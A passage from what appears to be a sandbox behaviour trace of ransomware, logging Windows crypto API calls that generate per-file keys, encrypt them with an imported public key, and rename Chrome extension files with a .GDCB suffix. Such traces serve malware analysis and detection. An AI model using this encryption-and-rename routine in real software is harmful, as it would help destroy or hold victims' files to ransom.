data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.334] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.337] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.338] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.338] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.338] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.338] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.341] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.349] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.349] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.349] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.351] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66af6b8) returned 1 [0241.351] CryptGetKeyParam (in: hKey=0x66af6b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.351] CryptEncrypt (in: hKey=0x66af6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaba0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xaba0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.352] GetLastError () returned 0x0 [0241.352] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.352] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.354] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66af738) returned 1 [0241.354] CryptGetKeyParam (in: hKey=0x66af738, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.354] CryptEncrypt (in: hKey=0x66af738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xabb0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xabb0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.354] GetLastError () returned 0x0 [0241.354] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.354] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.356] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0241.359] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.361] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.361] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0241.361] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.361] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0241.364] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.365] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.365] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0241.365] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.366] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0241.368] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66aeff8) returned 1 [0241.368] CryptGetKeyParam (in: hKey=0x66aeff8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0241.368] CryptEncrypt (in: hKey=0x66aeff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xabc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xabc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0241.368] GetLastError () returned 0x0 [0241.368] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.368] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0241.370] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66af778) returned 1 [0241.370] CryptGetKeyParam (in: hKey=0x66af778, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0241.370] CryptEncrypt (in: hKey=0x66af778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xabd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xabd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0241.370] GetLastError () returned 0x0 [0241.370] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.370] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0241.372] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xabe0000 [0241.374] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xabf0000 [0241.376] ReadFile (in: hFile=0x424, lpBuffer=0xabf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xabf0000*, lpNumberOfBytesRead=0x285d160*=0x52a, lpOverlapped=0x0) returned 1 [0241.415] VirtualAlloc (lpAddress=0x0, dwSize=0x530, flAllocationType=0x3000, flProtect=0x4) returned 0xad00000 [0241.422] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.gdcb")) returned 1 [0241.433] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.439] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.441] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.441] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.441] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.441] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.444] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.444] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.445] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.447] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af078) returned 1 [0241.447] CryptGetKeyParam (in: hKey=0x66af078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.447] CryptEncrypt (in: hKey=0x66af078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xabc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xabc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.447] GetLastError () returned 0x0 [0241.447] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.447] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.449] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af838) returned 1 [0241.449] CryptGetKeyParam (in: hKey=0x66af838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.449] CryptEncrypt (in: hKey=0x66af838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xabd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xabd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.449] GetLastError () returned 0x0 [0241.449] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.449] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.456] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0241.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.461] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.461] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.461] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.461] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0241.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.465] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.466] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.466] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.466] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.468] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af2b8) returned 1 [0241.468] CryptGetKeyParam (in: hKey=0x66af2b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.468] CryptEncrypt (in: hKey=0x66af2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xabe0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xabe0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.469] GetLastError () returned 0x0 [0241.469] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.469] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.470] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af7b8) returned 1 [0241.470] CryptGetKeyParam (in: hKey=0x66af7b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.470] CryptEncrypt (in: hKey=0x66af7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xabf0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xabf0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.471] GetLastError () returned 0x0 [0241.471] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.471] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.472] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0241.474] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.476] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.476] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.476] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.480] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.483] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.487] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.489] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.489] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.489] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.491] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af138) returned 1 [0241.491] CryptGetKeyParam (in: hKey=0x66af138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.491] CryptEncrypt (in: hKey=0x66af138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xac00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.492] GetLastError () returned 0x0 [0241.492] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.492] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0241.493] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af7f8) returned 1 [0241.493] CryptGetKeyParam (in: hKey=0x66af7f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.493] CryptEncrypt (in: hKey=0x66af7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xac10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.494] GetLastError () returned 0x0 [0241.494] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.494] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.495] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.497] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.499] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.500] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.500] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.500] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.506] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.507] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.508] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.508] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.510] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.512] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af1f8) returned 1 [0241.512] CryptGetKeyParam (in: hKey=0x66af1f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.512] CryptEncrypt (in: hKey=0x66af1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xac20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.512] GetLastError () returned 0x0 [0241.512] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.512] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.515] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af3b8) returned 1 [0241.515] CryptGetKeyParam (in: hKey=0x66af3b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.515] CryptEncrypt (in: hKey=0x66af3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xac30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.516] GetLastError () returned 0x0 [0241.516] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.516] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.517] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.520] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.521] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.521] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.521] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.522] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.524] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.525] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.525] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.525] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.526] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.528] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af478) returned 1 [0241.528] CryptGetKeyParam (in: hKey=0x66af478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.528] CryptEncrypt (in: hKey=0x66af478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xac40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.528] GetLastError () returned 0x0 [0241.528] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.528] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0241.530] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, 